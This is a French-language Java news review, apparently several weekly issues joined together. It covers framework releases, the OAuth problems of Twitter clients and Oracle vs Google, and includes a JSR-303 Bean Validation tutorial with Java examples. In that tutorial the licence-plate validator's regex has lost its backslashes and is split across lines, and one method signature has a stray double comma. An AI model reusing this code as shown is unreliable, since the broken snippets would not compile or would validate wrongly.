Ces différentes technologies sont associées aux solutions de virtualisation de VMWare pour former leur boîte à outils du cloud computing VFabric.

VMWare et SpringSource continuent donc sur la route initiée il y a un peu plus d’un an par le rachat de SpringSource par VMware (dont nous vous parlions ici) et le rachat de CloudFoundry (ici pour plus d’informations) avec pour but que le cloud soit l’infrastructure d’exécution des applications informatiques de demain.

Le coin de la technique

GWT 2.1 sera Maven compliant

Google depuis quelques mois fait de gros efforts pour rendre leurs GWT et AppEngine plus Maven-friendly. L’arborescence assez spécifique de ces projets obligeait jusqu’à maintenant de se contenter de solutions intermédiaires. Nicolas De Loof nous annonce sur son blog l’arrivée d’une nouvelle version compatible entièrement avec la future version 2.1 de GWT. Par exemple une option -maven du script webAppCreator permettra de construire le fichier selon les conventions Maven.

Une des plus grosses difficultés provient des changements parfois assez importants d’une version à une autre de GWT. Or le plugin actuellement est maintenu de sorte qu’il soit compatible avec toutes les anciennes SDK. Nicolas De Loof propose à présent que chaque nouvelle version du plugin soit callée sur celle de GWT. Si vous êtes d’accord avec ce principe vous pouvez voter ici.

OAuth : pas le protocole d’authentification ultime ?

En 2007, suite à des réflexions sur le moyen de déléguer à des API l’accès à des ressources privées, les créateurs du site Ma.gnolia finirent par inventer OAuth, un protocole ouvert destiné à remplir cette fonction. Beaucoup ont alors cru voir arriver le protocole d’authentification ultime. Mais si la sécurité informatique était simple, cela se saurait !

Jusqu’à il y a peu, les applications clientes de Twitter se connectaient à celui-ci en demandant simplement leur mot de passe et login aux utilisateurs. Mais cela représentait un risque: rien ne dit qu’une application à laquelle on donne ses codes d’accès ne va pas les transmettre à quelqu’un de mal intentionné qui pourrait en faire mauvais usage ou tenter de réutiliser votre mot de passe sur d’autres sites (au cas ou vous feriez partie des nombreuses personnes qui réutilisent le même mot de passe pour de nombreux services, ce qui n’est bien sûr pas votre cas ). Mais récemment, Twitter a fermé son accès basic auth et oblige les applications à utiliser le protocole OAuth. Et comme le raconte Ryan Paul, le développeur du client de microblogging Gwibber sur Ars Technica cela ne va pas sans poser problème. Par exemple pour les applications standalone, les clefs requises par le protocole doivent se trouver dans le programme. Or toute donnée informatique, même bien obfusquée, peut se retrouver (avec un peu de travail ou parfois même un simple éditeur héxa !). Ainsi les clefs qui sont sensées garantir l’identité de l’application appelante ne garantissent plus rien. Ryan Paul a lui même facilement fait passer auprès de Twitter sa propre application pour le client Twitter officiel. Lorsque l’on sait que Twitter menace de désactiver certaines applications en cas d’abus ou si leur clefs sont compromises, on peut logiquement s’attendre à voir arriver des attaques visant à désactiver les applications des concurrents.

Un autre cas problématique est la position des nombreux clients Twitter Open-Source. Comment garder ses clefs secrètes tout en publiant son code source ?! Epineux problème !

Bref, il semble que la question, loin d’être simple, ne soit pas prête d’être réglée. C’est pour cela qu’elle mérite que l’on s’y intéresse de prés, au travers du long article de Ryan Paul qui passe en revue les différents problèmes, dont certains spécifiques à l’implémentation OAuth de Twitter. Et dans l’état actuel des choses, cette dernière semble plus destiné à permettre les interactions de serveur (client) à serveur (Twitter) plûtot que d’application standalone à serveur (Twitter).

Ruby on Rails 3 est sorti du bois, JRuby l’attendait au bar

Avis au amateurs de Ruby et de JRuby ! Le célèbre framework web le plus productif au monde est sorti dans sa version 3.0. La communauté Ruby vibre déjà et les observateurs externes se demandent si le buzz va devenir aussi gros que lors de la sortie de la 1.0 en 2006. Parmi les nouveautés, on peut citer :

• intégration d’un nouveau moteur de génération de requêtes SQL : ARel.
• refonte du moteur de routing url -> contrôleur pour une approche plus REST.
• refonte des entrailles pour passer d’un code monolithique à du tout modulaire.
• nouvelle API de plugins

Le point important pour nous autre du monde Java, c’est que l’équipe JRuby a travaillé, en parallèle de Rails, à intégrer toutes les nouveautés. JRuby 1.5 supporte Rails 3 depuis sa version bêta de février, mais pour l’instant il n’y a que peu de retours JRuby + Rails 3.0, donc si le coeur vous en dit, testez et remontez du feedback.

• L’annonce officielle

Evènements de notre communauté en France et à l’étranger

Jug Summer Camp 2010 – La Rochelle

Le 10 Septembre aura lieu à la Rochelle le Jug Summer Camp. Il s’agit de la conférence Java de la rentrée qui s’étale sur toute la journée du vendredi.
Le programme est bien fourni, et les sujets tourneront principalement autour de Java EE 6 (avec GlassFish, JPA 2, JSF 2 …) et n’oublions pas Maven 3 avec Nicolas De Loof et Spring 3 avec Julien Dubois. Le planning est disponible ici et les inscriptions sont maintenant closes. Vous n’avez pas pu vous inscrire mais vous voulez quand même savoir ce qui s’est passé ? Alors pensez au blog des Duchess France qui seront présentes durant cette journée et couvriront l’évènement. Merci à Orianne Tisseuil et Jérôme Petit, JUG Leader du Poitou Charentes JUG, pour l’organisation de cet évènement.

Actualité éditeurs / SSII

• James Gosling sur l’affaire Oracle vs Google
• ActiveMQ 5.4.0

Le coin de la technique

• Hibernate ne supporte plus CGLIB

Actualité éditeurs / SSII

James Gosling sur l’affaire Oracle vs Google

James Gosling revient sur l’épisode Oracle vs Google avec un article dans lequel il nous donne quelques éléments pour mieux comprendre la politique de Sun vis à vis de Java et des brevets :

• Sun a principalement déposé des brevets afin de se protéger d’éventuelles attaques venant de ses concurrents. Un épisode malheureux dans lequel Sun fut attaqué par IBM concernant un brevet sur les processeurs RISC leur fit prendre conscience qu’il était nécessaire de posséder un arsenal de brevets. Le procès se termina en effet en leur défaveur et ils durent payer d’importantes indemnités à IBM, les mettant au bord du dépôt de bilan.
• Les brevets sur la technologie Java et le choix de la license CDDL avaient pour but de garantir l’interopérabilité des applications java sur les différentes plateformes. Cette protection a donné lieu à un procès entre Sun et Microsoft car ce dernier avait fournit une implémentation d’un machine virtuelle Java sur laquelle le code ne s’exécutait pas de la même manière que sur les autres JVM (dont celle de Sun) qui respectaient les spécifications. La machine virtuelle java de Google présentant elle aussi des problèmes d’interopérabilité, Oracle se sert de cette jurisprudence pour les poursuivre.
• Sun aurait souhaité obtenir une partie des bénéfices générés par la plateforme Android mais sans succès. Il semble donc qu’Oracle souhaite continuer dans cette voie mais en choisissant de sortir l’artillerie lourde pour parvenir à ses fins.

Cette affaire a un effet néfaste sur l’image de Java et James Gosling, loin de cautionner l’action d’Oracle, regrette l’absence de moralité des grandes compagnies informatiques actuelles.

ActiveMQ 5.4.0

Un peu moins d’un an après la dernière release, Apache sort une nouvelle version de son broker de message. Au-delà des 283 bugs résolus, on notera quelques nouvelles fonctionnalités intéressantes:

• Priorité des messages: Jusqu’à maintenant pour jouer sur la priorité de certains messages sur d’autres il fallait contourner le problème en utilisant plusieurs queues de messages qui pouvaient être, elles, priorisées. Le point de blocage jusqu’à maintenant était lié à l’ordonnancement des messages, trop gourmand en temps. Ce problème semble être en partie réglé et le paramètre priorité du message JMS (inclus dans l’API) sera pris en compte.
• Planifier ses messages: ActiveMQ possède à présent un planificateur persistant de message. En d’autres termes, il est possible à l’envoi du message de préciser la date réelle de l’envoi et la durée entre la répétition d’un envoi. L’interface permet même de préciser tout cela sous la forme d’une entrée CRON. Ceci peut être assez intéressant pour par exemple faire du heartbeat (envoi d’un message à intervalle régulier pour s’assurer du fonctionnement de l’application ou faire des calculs de performance).
• WebSocket: Le sujet est à la mode, surtout avec l’émergence d’HTML 5, HornetQ le propose également sur sa dernière version. Il s’agit d’utiliser le broker de messages depuis du code javascript. Tout comme HornetQ, ActiveMQ utilise son protocole de message simplifié STOMP. Deux librairies javascripts sont proposées sur leur site: Stomple et stomp-websocket.

Hormis ces nouveautés, des améliorations ont été apportées sur OSGI et le shell unix.

Le coin de la technique

Hibernate ne supporte plus CGLIB

Historiquement CGLIB a rendu de nombreux services à Hibernate et Spring pour permettre de manipuler le bytecode Java. Par exemple, vous avez sans doute déjà vu passer un proxy préfixé par CGLIB lorsque vous débuggez votre application. Mais récemment, Steve Ebersole, développeur chez Hibernate, a annoncé qu’il n’y aurait plus de support pour cette librairie. Cette décision aurait été prise non pas pour des raisons purement techniques mais parce que cette librairie n’aurait plus de support et semble figée à la version 2.2 qui date de 2008. L’auteur donne pour exemple un ancien bug sur une incompatibilité de version de la librairie ASM (qui manipule à un niveau plus bas le bytecode) avec celle de Spring et qui mit un an à être corrigé.

Hibernate à présent privilégiera Javassist, un projet JBoss (tout comme Hibernate, tiens, tiens…), aux fonctionnalités similaires mais encore en vie. Reste à savoir si Spring suivra la même démarche.

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• Du BI en SaaS gratuit pendant un an avec Tibco
• Sortie de la version 6 du portail open-source Liferay
• Spring facilite l’adoption d’AMQP

SOA

• Sortie d’Apache Camel 2.4

Le coin de la technique

• Scala 2.8 enfin finale !
• BigPipe : L’optimisation du temps de chargement selon FaceBook
• Twitter abandonne le stockage sur Cassandra

Actualité éditeurs / SSII

Du BI en SaaS gratuit pendant un an avec Tibco

Tibco vient de mettre à disposition sa suite Spotfire Business Intelligence en mode SaaS gratuitement pendant une année. Cette nouvelle solution permet d’importer des données depuis diverses sources, telles que les feuilles excel, les bases de données Access, Oracle, … et de les présenter dans des rapports interactifs, facilitant ainsi leur analyse.

Spotfire présente deux principaux avantages :

• Le mode SaaS de la solution accélère la construction des rapports BI et par conséquence leur mise à disposition au business, en éliminant tout le temps de mise en place des infrastructures habituellement nécessaires pour ce genre de projet.

• L’autre grande nouveauté mise en avant par l’éditeur est le côté social de sa solution. L’utilisateur de Spotfire, pourra partager ses rapports avec ses collaborateurs situés n’importe où dans le monde pour une plus grande interactivité.

Plus de détails sur le site de l’éditeur.

Sortie de la version 6 du portail open-source Liferay

Brian Chan, fondateur du projet Liferay, vient d’annoncer sur le blog de l’entreprise la sortie de la 6ème version du portail open-source.

Cette nouvelle version apporte son lot de nouveautés :

Gestion de contenu :

• Possibilité de partager du contenu entre différentes communautés grâce à l’ajout d’un scope Global, et d’un nouveau portlet d’administration (Asset Publisher Portlet).
• Utilisation de tags et de catégories pour une meilleure organisation et une recherche plus précise des informations.
• Gestion de la validation et de la parution des articles à l’aide d’un Workflow pouvant s’appuyer sur jBPM 3.0, puis prochainement sur la solution BPMS d’Intalio.

Administration du portail :

• Mise en place d’indicateur JMX pour le monitoring des performances des différents portlets déployés sur le portail.
• Ajout d’un système d’audit permettant d’enregistrer un certain nombre de mesures, pouvant être traitées ultérieurement (Audit Framework).
• Intégration avec les systèmes de reporting Jasper Reports et BIRT à travers le nouveau module Report Engine Framework.
• Simplification de l’administration du portail grâce à l’ajout d’une nouvelle console basée sur l’exécution de scripts.

Interfaces utilisateur :

• Ajout d’un nouveau composant appelé Dockbar qui améliore la navigation au sein des différentes communautés du portail.
• Possibilité de créer en un clic une nouvelle communauté ou une nouvelle page, en indiquant simplement le Template de page à utiliser.
• Réorganisation du portlet Document Library afin de simplifier la gestion des documents au sein du portail.

Extension et intégration :

• Ajout du module Generic Asset Framework, permettant d’interagir simplement avec les Workflows internes du portail ainsi que sur les options de sécurité.
• Intégration avec le framework Web Alloy UI, permettant de créer simplement des interfaces en HTML 5 s’appuyant sur les standards du W3C.
• Mise en place d’un framework de script permettant d’étendre les applications créées en dehors du portail.
• Nouvelle intégration native du portlet Document Library avec les solutions de gestion de documents et notamment Documentum, ainsi que l’amélioration de l’intégration avec Sharepoint.

Avec cette nouvelle version de Liferay Portal, Liferay continu d’étoffer son offre Portail et montre qu’il reste parmi les leaders du domaine. L’intégration avec les outils de BPM, de reporting et de gestion de documents du marché montre la volonté de la société de se diriger de plus en plus vers une solution ouverte et inter-connectée.

Pour plus d’information sur les nouveautés :

Toutes les nouvelles fonctionnalités de la version 6.0
La liste des changements sur le JIRA du projet

Spring facilite l’adoption d’AMQP

Comme on pouvait s’y attendre avec le rachat de RabbitMQ par VMWare, Spring intégre petit à petit des fonctionnalités facilitant l’adoption d’AMQP.

Le premier milestone de Spring AMQP 1.0.0 matérialise cet effort. Un gros point de satisfaction, Spring ne s’est pas contenté de fournir la partie cliente Java de RabbitMQ mais propose une réelle abstraction du protocole AMQ. Par contre la gestion des versions de la spécification reste un peu flou. Elle semble caler sur la version 0.8 tout en étant compatible avec la 0.9.1.

La distribution vient avec 4 modules : spring-amqp, spring-rabbit,spring-rabbit-admin et spring-erlang. Ce dernier est le plus inattendu et la documentation semble indiquer que le projet est expérimental. Pour rappel le serveur de RabbitMQ est implémenté en Erlang, un langage très perfomant sur les aspects concurrentiels.

La documentation, bien qu’incomplète, a la bonne idée de proposer plusieurs cas d’utilisation et laisse entrevoir un bon support pour Spring Integration. Cette nouvelle est quoiqu’il en soit une très bonne nouvelle pour l’adoption d’AMQP dans le monde Java. Par ailleurs Spring propose également une version .Net.

SOA

Sortie d’Apache Camel 2.4

La version 2.4.0 du projet Apache Camel est mise à disposition moins de 2 mois seulement après la sortie de la version 2.3.0. Elle vient compléter un changelog déjà très fourni sur la version précédente et apporte un certain nombre de corrections, d’améliorations et de nouveautés:

• Le support d’OSGI Blueprint via la création d’un namespace XML adapté permettant de définir des routes Camel. Ce namespace est pour le moment uniquement exploitable via l’implémentation Blueprint ‘Apache Aries’ utilisée par le projet ‘Apache Karaf’. A noter que la définition d’errorHandler n’est pas possible pour le moment.

• Un moteur de routage asynchrone non bloquant complet: tous les patterns d’intégration sont supportés ainsi que différents composants: JBI, NMR, CXF, Jetty et Netty.
• La version de Spring utilisée par Camel passe à la 3.0.3 marquant ainsi la fin du support de la branche 2.0 (La version 2.5 étant encore supportée). Le support de Spring Security pour sa part change également de version et passe à la 3.0.3.RELEASE.

La version 2.3.0 proposait déjà de nombreuses améliorations majeures telles que le support des Property placeholders qui manquaient cruellement, ainsi que le support d’un nombre conséquent de nouveaux composants (camel-exec, camel-nagios, camel-netty, camel-spring-spring-security, camel-crypto, …). Le projet Camel devrait à coup sûr continuer à faire parler de lui dans les prochains mois, tout en s’imposant un peu plus comme un acteur majeur dans le milieu des frameworks d’intégration.

Le coin de la technique

Scala 2.8 enfin finale !

Après plusieurs mois de bêtas et de release candidates, voici enfin venir la toute dernière version de Scala en finale à savoir la 2.8.0 ! Cette version quasi majeure est considérée par beaucoup comme une 3.0 tellement les nouveautés sont nombreuses.

Au menu : la nouvelle API collection, la spécialisation de type, une nouvelle implémentation des Array, les arguments nommés et par défaut, les Package Objects, le support des continuations ou bien encore le REPL amélioré. Les nouveautés étant nombreuses, je pense que cette nouvelle version mériterait bien son petit article, n’est-il pas ?

La mise à jour de Scala par votre IDE est possible, pour les autres le téléchargement de la distribution se passe par ici.

BigPipe : L’optimisation du temps de chargement selon FaceBook

Après les outils Yahoo (YSlow) et Google (Google Speed), c’est au tour de facebook de sortir de son chapeau une arme secrète pour réduire le temps de chargement des pages. Cette fois la solution est tout autre, ni Sprite CSS, ni JavaScript compacté, il faut paralléliser le chargement des pages par blocs. Avec BigPipe, le serveur envoi un bloc d’en-tête HTML qui s’occupe de charger la librairie BigPipe et fournit un template pour positionner les blocs appelés ‘pagelet’. Le serveur va ensuite envoyer toujours dans la même réponse, un bloc JavaScript par pagelet invoquant une méthode de chargement. L’objet Json fournit en paramètre contient le contenu HTML, l’URL de la CSS et celle du JavaScript nécessaire. Pendant que le navigateur charge une CSS et affiche un nouveau bloc HTML, le serveur est encore en train d’injecter ses pagelets.
Avec ce système, facebook a réussi à réduire le temps de chargement perçu par les utilisateurs. Ils précisent diviser par deux le temps de chargement pour la plupart des navigateurs. A l’exception de Firefox 3.6 qui n’a gagné que 22% de temps de chargement.

• L’article sur facebook engineering
• L’article sur InfoQ

Twitter abandonne le stockage sur Cassandra

L’affaire avait fait grand bruit en février : Twitter abandonne MySql pour stocker ses tweets sous Cassandra. Cet abandon donnait à Cassandra une légitimé hors des murs de Facebook. Malheureusement, le soufflet vient de brutalement retomber. Twitter fait machine arrière (ou plutot clarifie son propos, car il y a eu incompréhension (sic)) : les tweets sont stockés et continueront à l’être sous MySql. Cassandra est utilisé au sein de l’entreprise, mais pour d’autres besoins (via TechCrunch). Il se murmure que Cassandra serait au cœur de la prochaine étape de la monétisation de Twitter, un moteur d’analyse public en temps réel. Cette utilisation de Cassandra en interne est confirmée sur le blog de Twitter.

Alors, pourquoi ce changement de stratégie ? Nous n’allons certainement pas hurler avec la meute qui, dès cette annonce a fait fleurir des analyses plus ou moins fantaisistes sur la tenue à la charge de Cassandra, son exploitabilité, et sur tous les défauts que l’on peut prêter à un tel produit. Nous nous rangeons plutôt du coté de ceux qui pense que le timing est mauvais. Tout d’abord parce que Twitter subit actuellement de fréquents pic de charge qui entrainent des coupures de service. Cet effet Coupe du monde de football devrait néanmoins commencer à retomber. La continuité de service semble être la priorité actuellement en terme d’évolutions techniques et architecturales. Ensuite, nous l’avons déjà évoqué, Twitter entre dans une phase où l’entreprise tente de monétiser son service. C’est là aussi, n’en doutons pas, un poste de développement important, avec de nombreux services à créer et à roder.

Pour conclure, nous conservons notre confiance à Cassandra. Son abandon par Twitter (sur une fonctionnalité identifiée, celle du stockage des tweets) est une information stratégique d’importance (MySql garde la confiance d’un des plus grand stockeur du monde web), mais reste un choix stratégique et pas forcément technique. Nous continuerons donc à suivre avec attention les développements de Cassandra, et du NoSql en général.

La JSR-303, finalisée en novembre 2009, fournit une standardisation de ces concepts et fait partie de Java EE 6. Emmanuel Bernard étant le spec lead de cette JSR, assez naturellement l’implémentation Hibernate Validator est devenue celle de référence. C’est cette dernière qui sera exclusivement évoquée dans cet article.

Concepts de base

On étudiera dans cet article la configuration par annotations, mais il reste possible de faire l’équivalent en fichier xml.

Contraintes

Une contrainte est une restriction sur un attribut d’un bean. Beaucoup sont déjà définies dans la JSR-303, Hibernate Validator en rajoute quelques-unes très utiles et l’utilisateur peut définir les siennes comme nous le verrons plus loin.

Voici un exemple pour valider qu’un attribut est non nul :

public class Personne{
    @NotNull
    private String nom;
    ...
}

Les contraintes peuvent être posées directement sur le champ, sur la propriété par l’intermédiaire de l’accesseur ou au niveau de la classe, ce qui nécessite de définir sa propre contrainte. La visibilité du champ n’a pas d’importance car il sera introspecté par réflexion mais il ne doit pas être statique.

Un graphe d’objets peut être validé dans son ensemble, ou bien plus finement. Si une entité à valider possède une autre entité ayant des contraintes, l’annotation @Valid permet de contraindre aussi la validation de cette entité. Cerise sur le gâteau, la validation sur une collection fonctionne aussi, tous les éléments de cette collection devant être valides.

Voici les contraintes standards:

Hibernate Validator ajoute des contraintes intéressantes : @CreditCardNumber, @Email, @NotBlank, @NotEmpty, @Range, @ScriptAssert, @URL. @ScriptAssert est sans doute la plus complexe à mettre en place, elle s’appuie sur la JSR-223 qui fournit une API pour introduire les langages de script, plus de détails ici.

Service de validation

Pour valider ses entités il faut se munir tout naturellement d’un validateur, on passe pour cela par une factory fournie par l’API standard ( javax.validator ) :

ValidatorFactory factory = Validation.buildDefaultValidatorFactory();
Validator validator = factory.getValidator();

Pour récupérer l’implémentation du validateur, l’API utilise le Service Provider de Java. Son fonctionnement est assez simple. Dans le jar contenant l’implémentation il faut ajouter dans le répertoire META-INF/services un fichier nommé javax.validation.spi.ValidationProvider qui contient le nom de la classe implémentant l’interface ValidationProvider. Pour Hibernate Validator il s’agit de la classe HibernateValidator.

Donc pour résumer, il n’y a pas de configuration à faire pour spécifier que Hibernate Validator fournira le Validator, il suffit juste d’ajouter le jar, sauf s’il existe d’autres implémentations de l’API de validation. Dans ce dernier cas, et si on veut être sûr d’utiliser Hibernate Validator, il est possible de définir le provider explicitement :

ValidatorFactory factory = Validation.byProvider(HibernateValidator.class).configure().buildValidatorFactory();

Ensuite on passe à la validation de nos entités :

Set<ConstraintViolation<Voiture>> constraintViolations = validator.validate(voiture);

On introduit ici l’objet ConstraintViolation, très riche en informations sur les raisons de la non validation d’un élément. C’est cet objet qui va par exemple nous permettre de nous fournir le message associé à l’erreur. Les méthodes de cette classe :

C’est l’occasion de remarquer que l’API de validation propose une gestion interne des ressources, on peut soit récupérer le message directement associé à une propriété ( getMessage() ) soit la clé ( getMessageTemplate() ). Dans le chapitre suivant on détaillera davantage la gestion des ressources.

On peut aussi avoir besoin de ne valider qu’une sous partie des contraintes d’une entité ou de rassembler plusieurs des contraintes de plusieurs entités. L’attribut groups des annotations de contraintes sert à ça. Elle contient une interface (ou une classe, ce qui est moins recommandé) qui sera commune aux contraintes:

public class Facture {
    @Past
    private Date dateCommande;
    @NotNull(groups=PaiementCheck.class)
    private String nomBanque;
    @CreditCardNumber(groups=PaiementCheck.class)
    private String creditCardNumber;
}
public interface PaiementCheck {}
...
    validator.validate(facture, PaiementCheck.class);
...

Gestion des ressources

A chaque type de contrainte est associé une clé, elle même liée à une propriété. Toutes les contraintes de base ont des messages déjà définis et Hibernate Validator propose même les traductions françaises. Ce message peut être surchargé directement au niveau de la contrainte:

@Min(message="ce champ doit être supérieur à {value}")

Grâce aux accolades, on peut accéder aux données de l’annotation (dans cet exemple à la valeur minimale). On peut échapper les accolades avec .

Les propriétés sont résolues par l’intermédiaire de l’interface MessageInterpolator qui, par défaut, va chercher un fichier ValidationMessages.properties à la racine du classpath. S’il n’en trouve pas à la racine il ira chercher celui dans le package org.hibernate.validator. On peut donc ainsi, facilement surcharger les propriétés de Hibernate Validator.

Il est possible d’utiliser ses propres resource bundles si on veut par exemple utiliser d’autres fichiers properties, ou les stocker ailleurs que dans le classpath. Pour cela il faut surcharger l’implémentation de ResourceBundleLocator. Ci-dessous, un exemple tiré de la documentation:

HibernateValidatorConfiguration configure = Validation.byProvider(HibernateValidator.class).configure();
ResourceBundleLocator defaultResourceBundleLocator = configure.getDefaultResourceBundleLocator();
ResourceBundleLocator myResourceBundleLocator = new MyCustomResourceBundleLocator(defaultResourceBundleLocator);
configure.messageInterpolator(new ResourceBundleMessageInterpolator(myResourceBundleLocator));

A un plus haut niveau, on peut également ne pas passer par des resource bundles mais implémenter sa propre stratégie pour, par exemple, accéder à une base de données. Pour cela il faut fournir une implémentation de l’interface MessageInterpolator.

Configuration<?> configuration = Validation.byDefaultProvider().configure();
ValidatorFactory factory = configuration
   .messageInterpolator(new MyMessageInterpolator(configuration.getDefaultMessageInterpolator()))
   .buildValidatorFactory();
Validator validator = factory.getValidator();

MyMessageInterpolator implémente donc MessageInterpolator qui a deux méthodes:

String interpolate(String messageTemplate, Context context);
String interpolate(String messageTemplate, Context context,  Locale locale);

messageTemplate étant la clé de la contrainte et context contient des informations sur cette contrainte. Libre ensuite au développeur d’associer la ressource correspondante comme il veut.

Définir sa propre contrainte

Il est possible de créer sa propre contrainte, pour cela on passe par 3 étapes:

• créer l’annotation
• implémenter le validateur
• définir le message d’erreur

Nous allons faire un validateur pour les plaques d’immatriculation et vérifier qu’elles appartiennent à un département donné (il s’agira des anciennes normes, par exemple 123-ABC-93, pas des nouvelles normes européennes). Commençons par l’annotation :

@Target({METHOD,FIELD,ANNOTATION_TYPE})
@Retention(RUNTIME)
@Constraint(validatedBy=ImmaticulationValidator.class)
@Documented
public @interface CheckImmatriculation {
   String message() default "{fr.xebia.constraints.checkimmatriculation}";
   Class<?>[] groups() default {};
   Class<? extends Payload>[] payload() default {};
   String departement();
}

On voit apparaître la notion de Payload, elle peut être utilisée pour enrichir les informations sur cette contrainte. L’exemple proposé en général est le cas où on veut ajouter un niveau de sévérité à une contrainte. On peut récupérer la classe associée dans la description de la contrainte : ConstraintViolation.getConstraintDescriptor().getPayload().

On écrit ensuite le validateur associé :

public class ImmaticulationValidator implements
       ConstraintValidator<CheckImmatriculation, String> {
   private String departement;
   public void initialize(CheckImmatriculation constraintAnnotation) {
       departement = constraintAnnotation.departement();
   }
   public boolean isValid(String value, ConstraintValidatorContext context) {
       if (!Pattern.matches("
d{1,3}-[a-zA-Z]{2,3}-
d{2}", value)) {
           return false;
       }
       // On récupère le département donné
       String d = value.substring(value.length() - 2);
       return departement.equals(d);
   }
}

Enfin on doit ajouter le message qui sera retourné en cas d’erreur dans le fichier de properties ValidationMessages.properties comme vu précédemment. On peut par exemple afficher le département attendu:

fr.xebia.constraints.checkimmatriculation=Le département doit être {departement}.

Spring/SpringMVC

Depuis la version 3.0 de Spring MVC la JSR-303 est complètement supportée. Tout est donc grandement facilité et valider un formulaire devient quasiment immédiat. On peut résumer la procédure à l’ajout de l’annotation @Valid dans la requête POST de soumission du formulaire:

public void submitVoiture(@Valid VoitureForm voiture, , Errors errors){
     logger.info("Nombre d'erreur"+errors.getErrorCount());
     ...
}

Les contraintes non validées seront automatiquement injectées dans errors et donc accessibles dans la vue :

<form:form action="edit" modelAndAttribute="voiture">
    <form:errors path="*"/>
    <form:input path="immatriculation"/>
    ...
    <input type="submit"/>
</form:form>

Outre Spring MVC, de plus en plus de frameworks de présentation adoptent la JSR-303, remplaçant leurs anciens codes spécifiques par ce nouveau standard. Naturellement JSF 2.0 l’utilise mais on peut aussi citer Wicket ou Tapestry.

Hibernate

Nous avons vu qu’il était possible de valider programmatiquement une entité. Néanmoins, on peut vouloir être encore plus prudent et empêcher les opérations de persistance si une contrainte est violée. Hibernate propose un mécanisme de listeners sur les événements insert, update et remove. Voici un exemple de configuration possible:

<persistence ...>
  <persistence-unit ...>
    ...
    <properties>
      <property name="javax.persistence.validation.mode"
                value="callback, ddl"/>
    </properties>
  </persistence-unit>
</persistence>

Il existe plusieurs modes: none, auto (s’il n’y a aucun jar de validation, il n’y aura pas de validation), callback (s’il n’y a aucun jar une exception est lancée au démarrage), ddl. Cette dernière permet de générer le schéma de base avec les contraintes définies dans l’entité.

Il est possible de différencier les comportements selon le type d’opération:

<persistence ...>
  <persistence-unit ...>
    ...
    <properties>
      <property name="javax.persistence.validation.group.pre-update"
                value="javax.validation.group.Default, com.acme.group.Strict"/>
      <property name="javax.persistence.validation.group.pre-remove"
                value="com.acme.group.OnDelete"/>
      <property name="org.hibernate.validator.group.ddl"
                value="com.acme.group.DDL"/>
    </properties>
  </persistence-unit>
</persistence>

En cas de violation d’une contrainte une exception de type ConstraintViolationException est lancée, éventuellement englobée dans une exception RollbackException en mode transactionnel. Cette exception contient la liste des ConstraintViolation de l’API Bean Validation vue plus haut.

Une fonctionnalité de l’API encore non évoquée, mais qui rejoint les problématiques souvent rencontrées dans Hibernate, est la notion de traversabilité, formalisée par l’interface TraversableResolver. Celle-ci contient deux méthodes isReachable et isCascadable qui peuvent permettre dans certains cas de désactiver une validation d’un sous-objet. Cela peut permettre lorsqu’on manipule des objets en lazy loading, de préserver ce non-chargement.

Conclusion

Bean Validation impressionne par sa vision complète des problématiques de validation, peu de cas semblent avoir été ignorés ou oubliés, et dans le cas contraire l’API est suffisamment souple pour pouvoir être étendue proprement. Certains regretteront peut-être qu’il n’y ait pas plus de contraintes pré-définies, mais il est extrêmement difficile de définir des contraintes universelles et ajouter sa propre contrainte est vraiment facile.

Outils

• Helios, Eclipse 3.6

SOA

• Tomcat Stats: administrer Tomcat depuis son iPhone

Le coin de la technique

• Articles sur Groovy/Spring et Grails/Hibernate
• Un nouveau top 10 orienté performance

Agilité

• Happy birthday Post-It !

Outils

Helios, Eclipse 3.6

Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d’Helios pour incarner la version annuelle d’Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.

Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le « Install new software… », un lien direct vers le Marketplace permet très facilement d’installer ces plugins, un peu à la manière d’un plugin Firefox (tout comme le redémarrage obligatoire). L’ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l’implémentation full java utilisée également sur d’autre projets alors qu’EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.

En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:

• Les options du formatter acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le formatter d’une partie du code (intéressant pour aider des merges compliqués).
• Les fonctionnalités sur le breakpoint, comme l’ajout d’une condition ou le compteur, sont à présent directement accessibles dans le panel breakpoints et non plus en passant par un menu contextuel dans le code.

La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d’Eclipse propose un top ten intéressant pour faire le tour des fonctionnalités. Arrive en tête l’application Xtext qui permet d’écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.

Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !

SOA

Tomcat Stats: administrer Tomcat depuis son iPhone

MuleSoft, plus connu pour son ESB Open Source Mule, a récemment annoncé la sortie de Tomcat Stats, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l’offre de support également gratuite, proposée par MuleSoft depuis maintenant presque une année. L’application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu’elles soient installées au sein de l’infrastructure propre de l’entreprise ou dans le Cloud. L’ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l’application, notamment l’utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.

Pour télécharger l’application, rien de plus simple il suffit de se rendre sur l’App Store, directement depuis son mobile, ou sur iTunes à l’adresse suivante : Tomcat Stats By MuleSoft Inc.

Bien qu’un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.

Le coin de la technique

Articles sur Groovy/Spring et Grails/Hibernate

IBM developerWorks nous a récemment gratifié d’un article en 2 parties intitulé « GroovierSpring ». Dans la première partie, nous apprenons à définir des beans Spring en Groovy. Quatre méthodes sont à notre disposition:

• Utilisation de classes Groovy compilées en .class normaux
• Utilisation de classes Groovy directement sous forme de .groovy
